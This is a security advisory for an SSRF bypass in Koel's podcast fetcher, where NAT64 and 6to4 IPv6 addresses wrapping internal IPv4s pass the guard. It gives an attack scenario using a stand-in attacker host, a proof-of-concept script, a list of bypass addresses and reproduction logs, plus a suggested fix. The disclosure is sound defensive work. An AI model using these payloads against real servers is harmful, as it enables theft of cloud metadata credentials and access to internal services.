PT-2026-60386 · Packagist · Phanan/Koel

Publicado

2026-07-15

·

Atualizado

2026-07-15

·

CVE-2026-54494

CVSS v4.0

5.3

Média

VetorAV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

Summary

Koel's outbound-URL guard AppHelpersNetwork::isPublicHost() classifies an IP as "public" using PHP's filter var($ip, FILTER VALIDATE IP, FILTER FLAG NO PRIV RANGE | FILTER FLAG NO RES RANGE). That flag set does not recognise IPv6 transition-address forms that embed a private/loopback/link-local IPv4: NAT64 well-known prefix 64:ff9b::/96 (RFC 6052) and 6to4 2002::/16 (RFC 3056). An address such as 64:ff9b::7f00:1 (= 127.0.0.1), 64:ff9b::a9fe:a9fe (= 169.254.169.254, the cloud metadata endpoint), or 2002:a00:1:: (= 10.0.0.1) is reported as a public address, so the guard returns true and Koel proceeds to fetch the URL.
The guard is the only SSRF defense in front of AppValuesPodcastEpisodePlayable::createForEpisode(), which downloads a podcast episode with Http::sink($file)->get($url) and streams the response body back to the requesting user. Because an attacker fully controls the <enclosure url> of any RSS feed they host (and any authenticated user can subscribe to a feed), they can publish an enclosure whose hostname has an AAAA record that is a NAT64/6to4 wrapper of an internal IP. On hosts with NAT64 or 6to4/dual-stack routing (the standard configuration on IPv6-only AWS/GCP subnets and 6to4-relayed networks), the kernel routes the wrapper to the embedded IPv4, and Koel performs a full-read SSRF against the internal endpoint — returning the response body to the attacker.
This is a server-side request forgery with full response disclosure (CWE-918) against internal services and cloud instance metadata.

Vulnerable code

app/Helpers/Network.phpisPublicHost() (the literal-IP branch and the per-resolved-record branch use the identical predicate):
php
public function isPublicHost(string $host): bool
{
  if (filter var($host, FILTER VALIDATE IP)) {
    return (
      filter var($host, FILTER VALIDATE IP, FILTER FLAG NO PRIV RANGE | FILTER FLAG NO RES RANGE) !== false
    );
  }

  try {
    $records = array merge(dns get record($host, DNS A) ?: [], dns get record($host, DNS AAAA) ?: []);
  } catch (Throwable) {
    return false;
  }

  if ($records === []) {
    return false;
  }

  foreach ($records as $record) {
    $ip = $record['ip'] ?? $record['ipv6'] ?? null;

    if (
      !$ip
      || filter var($ip, FILTER VALIDATE IP, FILTER FLAG NO PRIV RANGE | FILTER FLAG NO RES RANGE) === false
    ) {
      return false;
    }
  }

  return true;
}
PHP's FILTER FLAG NO PRIV RANGE | FILTER FLAG NO RES RANGE rejects RFC 1918, loopback, link-local and IPv4-mapped IPv6 (::ffff:a.b.c.d), but treats NAT64 64:ff9b::/96 and 6to4 2002::/16 as ordinary global addresses — even though both forms deterministically embed an IPv4 the kernel will route to.
The sink, app/Values/Podcast/EpisodePlayable.phpcreateForEpisode():
php
$network = app(Network::class);
$url = (string) $episode->path;

if (!$network->isSafeUrl($url)) {      // isSafeUrl() -> isPublicHost(), the only guard
  throw UnsafeUrlException::forUrl($url);
}

Http::sink($file)
  ->withOptions([
    'allow redirects' => [
      'max' => 5,
      'on redirect' => static function (
        RequestInterface $request,
        ResponseInterface $response,
        UriInterface $uri,
      ) use ($network): void {
        if (!$network->isSafeUrl((string) $uri)) {  // same guard on redirects -> same bypass
          throw UnsafeUrlException::forUrl((string) $uri);
        }
      },
    ],
  ])
  ->get($url)               // full-read SSRF: response streamed into $file
  ->throw();
$episode->path is the <enclosure url> from the subscribed podcast RSS feed. The redirect callback reuses the same isSafeUrl(), so a redirect to a NAT64/6to4 host is also accepted.

Attack scenario / How input reaches the sink

  1. Attacker hosts a podcast RSS feed and serves an item whose enclosure is <enclosure url="http://int.attacker.example/secret" type="audio/mpeg"/>, where int.attacker.example publishes AAAA = 64:ff9b::a9fe:a9fe (NAT64 wrapper of 169.254.169.254) or 2002:a00:1:: (6to4 wrapper of 10.0.0.1). The attacker may also use a bare IPv6-literal enclosure host directly.
  2. A Koel user subscribes to the feed (a standard, intended feature — the podcast subscription endpoint accepts an arbitrary feed URL) and plays / streams the episode.
  3. EpisodePlayable::createForEpisode() calls isSafeUrl($url). The host resolves to the NAT64/6to4 address; isPublicHost() runs filter var(NO PRIV RANGE | NO RES RANGE) over the embedded-IPv4 transition form and returns true.
  4. Http::sink($file)->get($url) connects. On a NAT64/dual-stack/6to4-routed host the kernel forwards to the embedded internal IPv4. The internal response body is written to $file and served back to the user — full-read SSRF against internal services / cloud IMDS.

Proof of concept

(a) Guard-predicate proof (PHP 8.5, the exact filter var call)

php
<?php
function isPublicHost literal(string $ip): bool {    // koel Network::isPublicHost literal branch
  if (!filter var($ip, FILTER VALIDATE IP)) return false;
  return filter var($ip, FILTER VALIDATE IP, FILTER FLAG NO PRIV RANGE | FILTER FLAG NO RES RANGE) !== false;
}
foreach ([
 ['NAT64(127.0.0.1)','64:ff9b::7f00:1'], ['NAT64(169.254.169.254 IMDS)','64:ff9b::a9fe:a9fe'],
 ['NAT64(10.0.0.1)','64:ff9b::a00:1'],  ['6to4(127.0.0.1)','2002:7f00:1::'],
 ['6to4(169.254.169.254)','2002:a9fe:a9fe::'], ['6to4(10.0.0.1)','2002:a00:1::'],
 ['direct 127.0.0.1','127.0.0.1'], ['direct 10.0.0.1','10.0.0.1'],
 ['direct 169.254.169.254','169.254.169.254'], ['IPv4-mapped ::ffff:10.0.0.1','::ffff:10.0.0.1'],
] as [$l,$ip]) printf("%-30s %-22s passes public=%s
",$l,$ip,isPublicHost literal($ip)?'YES(BYPASS)':'no(blocked)');
Verbatim output:
NAT64(127.0.0.1)        64:ff9b::7f00:1    passes public=YES(BYPASS)
NAT64(169.254.169.254 IMDS)  64:ff9b::a9fe:a9fe   passes public=YES(BYPASS)
NAT64(10.0.0.1)        64:ff9b::a00:1     passes public=YES(BYPASS)
6to4(127.0.0.1)        2002:7f00:1::     passes public=YES(BYPASS)
6to4(169.254.169.254)     2002:a9fe:a9fe::    passes public=YES(BYPASS)
6to4(10.0.0.1)         2002:a00:1::      passes public=YES(BYPASS)
direct 127.0.0.1        127.0.0.1       passes public=no(blocked)
direct 10.0.0.1        10.0.0.1        passes public=no(blocked)
direct 169.254.169.254     169.254.169.254    passes public=no(blocked)
IPv4-mapped ::ffff:10.0.0.1  ::ffff:10.0.0.1    passes public=no(blocked)

End-to-end reproduction against pinned koel v9.5.0

Environment: git clone --branch v9.5.0 https://github.com/koel/koel.git + composer install, run inside a php:8.5-cli container started with --cap-add=NET ADMIN so the NAT64 and 6to4 prefixes can be assigned to lo, simulating a NAT64/dual-stack host's kernel routing:
ip -6 addr add 64:ff9b::7f00:1/128 dev lo  # NAT64 wrapper of 127.0.0.1 -> loopback
ip -6 addr add 2002:7f00:1::/128 dev lo    # 6to4 wrapper of 127.0.0.1 -> loopback
A localhost stand-in "internal IMDS" server listens on those literals and returns SENTINEL INTERNAL IMDS SECRET=ssrf-proven-token-koel-nat64. The harness boots a real Laravel container, resolves the genuine released AppHelpersNetwork (from app/Helpers/Network.php), invokes its real isPublicHost() on each attacker AAAA-record value, then runs the verbatim EpisodePlayable::createForEpisode() body (isSafeUrl guard, then Http::sink($file)->get($url) via Laravel's real Guzzle-backed client):
php
$network = $app->make(AppHelpersNetwork::class);  // resolved from app/Helpers/Network.php
// STEP 1: genuine guard decision on the attacker AAAA-record value
foreach ($aaaa as [$label,$ip]) echo $network->isPublicHost($ip) ? 'true' : 'false';
// STEP 2: verbatim createForEpisode body
if (!$network->isPublicHost($hostForGuard)) { /* REJECTED */ }
else { Http::sink($file)->withOptions([...])->get($url); /* fetch + read body */ }
Verbatim output:
Network class (genuine released koel source): AppHelpersNetwork
Resolved from: /app/app/Helpers/Network.php
Guard predicate source (app/Helpers/Network.php isPublicHost):
  filter var($ip, FILTER VALIDATE IP, FILTER FLAG NO PRIV RANGE | FILTER FLAG NO RES RANGE)

==== STEP 1 — genuine $network->isPublicHost() on attacker AAAA-record value (the only guard) ====
 isPublicHost(64:ff9b::7f00:1   ) = true  [NAT64(127.0.0.1) -> loopback] expect=bypass-expected
 isPublicHost(64:ff9b::a9fe:a9fe ) = true  [NAT64(169.254.169.254) -> AWS IMDS] expect=bypass-expected
 isPublicHost(2002:a00:1::    ) = true  [6to4(10.0.0.1)  -> RFC1918] expect=bypass-expected
 isPublicHost(10.0.0.1      ) = false [DIRECT RFC1918 10.0.0.1 (neg ctrl A)] expect=must-block
 isPublicHost(::ffff:10.0.0.1   ) = false [IPv4-mapped ::ffff:10.0.0.1 (neg B)] expect=must-block
 isPublicHost(127.0.0.1      ) = false [DIRECT loopback 127.0.0.1 (neg ctrl)] expect=must-block
 isPublicHost(8.8.8.8       ) = true  [PUBLIC 8.8.8.8 (positive ctrl)] expect=must-allow

==== STEP 2 — genuine EpisodePlayable fetch via Http::sink (real network) ====
[IMDS-STANDIN HIT] local addr reached=[64:ff9b::7f00:1]:18099 peer=[64:ff9b::7f00:1]:37214 request line="GET /secret HTTP/1.1" Host: [64:ff9b::7f00:1]:18099
 [NAT64 well-known of 127.0.0.1]
  url=http://[64:ff9b::7f00:1]:18099/secret
  guard=PASSED fetched=YES status=200
  sink body=SENTINEL INTERNAL IMDS SECRET=ssrf-proven-token-koel-nat64
[IMDS-STANDIN HIT] local addr reached=[2002:7f00:1::]:18099 peer=[2002:7f00:1::]:49654 request line="GET /secret HTTP/1.1" Host: [2002:7f00:1::]:18099
 [6to4 of 127.0.0.1]
  url=http://[2002:7f00:1::]:18099/secret
  guard=PASSED fetched=YES status=200
  sink body=SENTINEL INTERNAL IMDS SECRET=ssrf-proven-token-koel-nat64
 [DIRECT RFC1918 10.0.0.1 (neg ctrl A)]
  url=http://10.0.0.1:18099/secret
  guard=REJECTED fetched=no status=-
  sink body=(none)

==== E2E DONE ====
Result: both NAT64 and 6to4 enclosure URLs pass the genuine isPublicHost/isSafeUrl guard, the genuine Http::sink()->get() connects to the internal stand-in, and the internal response body (SENTINEL INTERNAL IMDS SECRET=...) is read back — full-read SSRF.

Negative controls

  • http://10.0.0.1 (direct RFC 1918) — guard REJECTED, no fetch (shown above).
  • ::ffff:10.0.0.1 (IPv4-mapped IPv6) and 127.0.0.1 / 169.254.169.254 (direct) — isPublicHost(...) = false (shown in STEP 1). The existing guard correctly blocks every form except the two transition wrappers, confirming the gap is specific to NAT64 64:ff9b::/96 and 6to4 2002::/16.
  • 8.8.8.8 (public) — isPublicHost(...) = true (positive control: legitimate public hosts are unaffected by the proposed fix).

Impact

Full-read SSRF (CWE-918). An authenticated user able to subscribe to a podcast feed they control can coerce the Koel server into issuing HTTP requests to internal services and reading the responses:
  • Cloud instance metadata (http://[64:ff9b::a9fe:a9fe]/latest/meta-data/...) — credential / IAM-role token theft on AWS/GCP/Azure.
  • Internal-only HTTP services (admin panels, databases with HTTP fronts, localhost daemons) reachable from the Koel host.
Precondition: the Koel host has NAT64 (64:ff9b::/96) or 6to4/dual-stack routing for the transition prefix — the default on IPv6-only AWS/GCP subnets (NAT64) and on 6to4-relayed dual-stack networks. This is the same host-precondition class under which the IPv4/IPv6-literal SSRF guard is meaningful at all.

Suggested fix

In isPublicHost(), before classifying an IP, normalise IPv6 transition forms by extracting the embedded IPv4 and re-running the private/reserved check on it, and additionally reject the transition prefixes outright. Concretely: for any IPv6 address, detect NAT64 (64:ff9b::/96, 64:ff9b:1::/48), 6to4 (2002::/16), IPv4-mapped (::ffff:0:0/96, already covered by the flag but should be unwrapped for consistency), Teredo (2001::/32) and IPv4-compatible (::/96) wrappers, extract the embedded IPv4, and require it to pass FILTER FLAG NO PRIV RANGE | FILTER FLAG NO RES RANGE as well. The same unwrap must be applied to every IP resolved in the DNS branch. A fix PR implementing this (with regression tests over NAT64/6to4/Teredo/IPv4-compatible wrappers of loopback / RFC 1918 / link-local / IMDS plus public-host positive controls) is linked below.

Fix PR

A fix is provided via a private fork PR against the advisory's temporary fork (linked from the advisory's "Collaborators" / fix workflow). It adds an extractEmbeddedIpv4() helper covering IPv4-mapped, IPv4-compatible, 6to4, NAT64 well-known and NAT64-discovery forms, recurse-checks the embedded IPv4 against the existing NO PRIV RANGE | NO RES RANGE predicate in both the literal-IP and per-resolved-record branches of isPublicHost(), and adds regression tests.

Credit

Reported by tonghuaroot.

Correção

SSRF

Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾

Enumeração de Fraquezas

Identificadores relacionados

CVE-2026-54494
GHSA-RJG7-R26H-CFP2

Produtos afetados

Phanan/Koel